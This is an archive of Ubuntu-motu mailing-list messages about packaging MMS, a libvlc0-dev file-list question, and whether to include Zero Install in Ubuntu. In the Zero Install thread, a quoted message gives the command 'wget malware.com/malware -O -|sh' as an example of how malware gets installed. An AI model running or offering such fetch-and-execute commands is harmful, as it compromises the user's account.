Re: Need help packaging MMS (My Media System) and get it into ubuntu
Am Mittwoch, 20. Dezember 2006 13:47 schrieb ZhengPeng Hou: On Wed, Dec 20, 2006 at 12:15:26PM +0100, Roman Müllenschläder wrote: Hi there! For over 3 years now I work on a project named MMS (see: mms.sunsite.dk). It's a multimedia system running with several input and output devices (SDL, Dxr3, FF-DVB), providing Audio, Pictures, Movie, Games, TV, EPG ... For now it only was available if one compiles it ... So now we realy would like to see it as part of debian/buntu. I started packaging but am new to packaging at all ;) So here's my wish: Is someone here willing to help packaging and show me a way on how to get it into buntu? I wrote a mail to one of the multimedia-mentors already but did not get an answer ;( My main focus right now is to get MMS packaged ... there are some questions coming up regarding this. Getting it into buntu could be second step! Anyone here willing to help? I can package it for you. :) It's me again ... As ZhengPeng Hou does not react anymore, I do need a new sponsor helping out in packaging MMS ... is one willing to do that? Lg Roman -- Prodeia * Projektdienstleistung, Beratung, Organisation Roman Müllenschläder Koxhof 19 42489 Wülfrath Mobil: 0176/63129856 Tele: 02058/788376 Fax: 02058/788381 -- Ubuntu-motu mailing list Ubuntu-motu@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-motu
Re: zeroinstall-injector
Thomas Leonard [EMAIL PROTECTED] writes: Well, here are three possible ways to install malware: - Tell Zero Install to run http://malware.com/malware. Either ignore the warning about the key being unknown, or take the risk that the key isn't trust-worthy even if it's in the database. Result: User account compromised. - Type: $ wget malware.com/malware -O -|sh Result: User account compromised. - Edit /etc/apt/sources.list and add: deb http://malware.com/... Result: Root compromise. As a malware author, why would you use Zero Install instead of one of the other methods? The second one is available to all users and at least as effective. Plus, your victims get no warnings about keys at all that way. Note: I copied that wget example from a real web-page for some genuine software (but I changed the name ;-) - people are really forced to do this kind of thing at the moment! Red Carpet? Yes, I've seen something like that. Still, I wouldn't recommend running arbitrary 3rd party shell scripts as root (or as any user) on users machines. Perhaps in qemu for testing or something ;) Where do these 'known' keys come from? Who authorizes these keys? Currently, people post them to a public mailing list and I add them. Here's a screenshot showing a typical dialog: http://0install.net/trustbox.png If universe has stricter checks, we could use that keyring too for the hints (This key is approved by MOTU / MOTU has not approved this key - USE AT OWN RISK!). There is only ONE archive key. Only authorized developers can upload to our archive. As for 3rd party repositories, we don't have adequate support for verifying gpg keys. (something which I think could need improvement, but anyway). This is a bit different to 0install, where it seems that random upstream/malware authors sign their software, and the user has to accept that key like you show in the screenshot. The dialog however doesn't offer any support for validation of the key. Do you perhaps require these keys are signed by an 'authorization key'? or offer some path finding tool to find 'trust paths'? You see, validating keys is a quite difficult problem. One reason why there is only one archive key in ubuntu. Do Ubuntu users really need to be authorised by you to run software on their own computers? No, we don't require this. However, we promise support for all software which is signed by us. If we would include 0install, we would promise to support the 0install installer. My concern here is now that users could understand the inclusion of the 0install installer would mean that all software which is installable by 0install is supported as well. Something we cannot sensibly do. I fear that we'll get bugreports from 3rd party software by users, who have installed random software via 0install, and that we will not be able to support them. That's true. How do you deal with this problem with Firefox extensions, Python distutil modules, modified sources.list files and similar? Good point. Partly we do get bugreports about them (mostly misfiled), but in most cases, we have to answer users that we cannot support them. I don't want to repeat this misery with 0install. I think that if you find a developer, who promises to care for 0install, and the ftp-masters of ubuntu don't object, we could include 0install. But as you already have read in other posts, there are some anti-sentiments against automatix, autopackage and similar projects among ubuntu developers. 0install seems in many ways quite similar to them and seems to have similar problems. -- Gruesse/greetings, Reinhard Tartler, KeyID 945348A4 pgpTBpFPy2210.pgp Description: PGP signature -- Ubuntu-motu mailing list Ubuntu-motu@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-motu
libvlc0-dev problem
Hi there, Wanting to compile jvlc, I found some inconsistencies in the description of libvlc0-dev. I needed libmux_ts.a (which is available in the binary distribution of jvlc) . I used apt-file to find the package I may need to install to have it. $ apt-file search libmux_ts libvlc0-dev: usr/lib/vlc/libmux_ts.a but $ dpkg-query -L libvlc0-dev /. /usr /usr/bin /usr/bin/vlc-config /usr/lib /usr/lib/vlc /usr/lib/vlc/access /usr/lib/vlc/audio_filter /usr/lib/vlc/audio_mixer /usr/lib/vlc/audio_output /usr/lib/vlc/codec /usr/lib/vlc/control /usr/lib/vlc/demux /usr/lib/vlc/gui /usr/lib/vlc/misc /usr/lib/vlc/video_chroma /usr/lib/vlc/video_filter /usr/lib/vlc/video_output /usr/lib/vlc/visualization /usr/include /usr/include/vlc /usr/include/vlc/aout.h /usr/include/vlc/decoder.h /usr/include/vlc/input.h /usr/include/vlc/intf.h /usr/include/vlc/libvlc.h /usr/include/vlc/mediacontrol.h /usr/include/vlc/mediacontrol_structures.h /usr/include/vlc/sout.h /usr/include/vlc/vlc.h /usr/include/vlc/vout.h /usr/share /usr/share/doc /usr/share/man /usr/share/man/man1 /usr/share/man/man1/vlc-config.1.gz /usr/lib/libvlc.so /usr/share/doc/libvlc0-dev more $ apt-file list libvlc0-dev libvlc0-dev: usr/bin/vlc-config libvlc0-dev: usr/include/vlc/aout.h libvlc0-dev: usr/include/vlc/decoder.h libvlc0-dev: usr/include/vlc/input.h libvlc0-dev: usr/include/vlc/intf.h libvlc0-dev: usr/include/vlc/libvlc.h libvlc0-dev: usr/include/vlc/mediacontrol.h libvlc0-dev: usr/include/vlc/mediacontrol_structures.h libvlc0-dev: usr/include/vlc/sout.h libvlc0-dev: usr/include/vlc/vlc.h libvlc0-dev: usr/include/vlc/vout.h libvlc0-dev: usr/lib/libvlc.so libvlc0-dev: usr/share/doc/libvlc0-dev libvlc0-dev: usr/share/man/man1/vlc-config.1.gz So what is the problem here ? did the maintainer forget to provide some files in the package ? Or did he choose to drop those files and forget to update the description ? -- Ubuntu-motu mailing list Ubuntu-motu@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-motu
Re: zeroinstall-injector
On wo, 2007-01-10 at 18:59 +, Thomas Leonard wrote: In other words, Zero Install isn't a complete security system, but it's a necessary part of a solution. imho it's not a solution at all. We work with source and can include things in the repositories. I don't think Ubuntu should go and make non-opensource programs easier to install. -- Dennis K. Time is an illusion, lunchtime doubly so. signature.asc Description: This is a digitally signed message part -- Ubuntu-motu mailing list Ubuntu-motu@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-motu
Re: Need help packaging MMS (My Media System) and get it into ubuntu
On Wed, Jan 10, 2007 at 01:16:24PM +0100, Roman Müllenschläder wrote: As ZhengPeng Hou does not react anymore, I do need a new sponsor helping out in packaging MMS ... is one willing to do that? I just gave it a try, and it seems simple enough. I just need to make the install scripts create a separate user for it. Give me another day or so. -- | Soren Hansen| Linux2Go | http://Linux2Go.dk/ | | Seniorkonsulent | Lindholmsvej 42, 2. TH| +45 46 90 26 42 | | [EMAIL PROTECTED] | 9400 Norresundby, Denmark | GPG key: E8BDA4E3 | signature.asc Description: Digital signature -- Ubuntu-motu mailing list Ubuntu-motu@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-motu
Re: zeroinstall-injector
On Wed, 10 Jan 2007 20:15:08 +0100, Dennis Kaarsemaker wrote: On wo, 2007-01-10 at 18:59 +, Thomas Leonard wrote: In other words, Zero Install isn't a complete security system, but it's a necessary part of a solution. imho it's not a solution at all. We work with source and can include things in the repositories. I don't think Ubuntu should go and make non-opensource programs easier to install. I agree, Ubuntu shouldn't be making non-opensource programs easier to install. However, bringing the discussion back to Zero Install, here are some screenshots of a Zero Install user compiling a ROX applet from source: http://rox.sourceforge.net/desktop/node/360 Note the 'Publish' button in the compile window. Not only do we let users modify the source, we let them redistribute it too. Yes, even unauthorised users. Binary packages created this way automatically include information about the upstream sources used (versions, where to get them, digests) and a patch file, if the user made any changes. So, you should be able to recreate a build reliably if you want to modify it further. (it's possible to remove these, of course, just as you can create a binary-only .deb, but it's open by default) -- Dr Thomas Leonard http://rox.sourceforge.net GPG: 9242 9807 C985 3C07 44A6 8B9A AE07 8280 59A5 3CC1 -- Ubuntu-motu mailing list Ubuntu-motu@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-motu
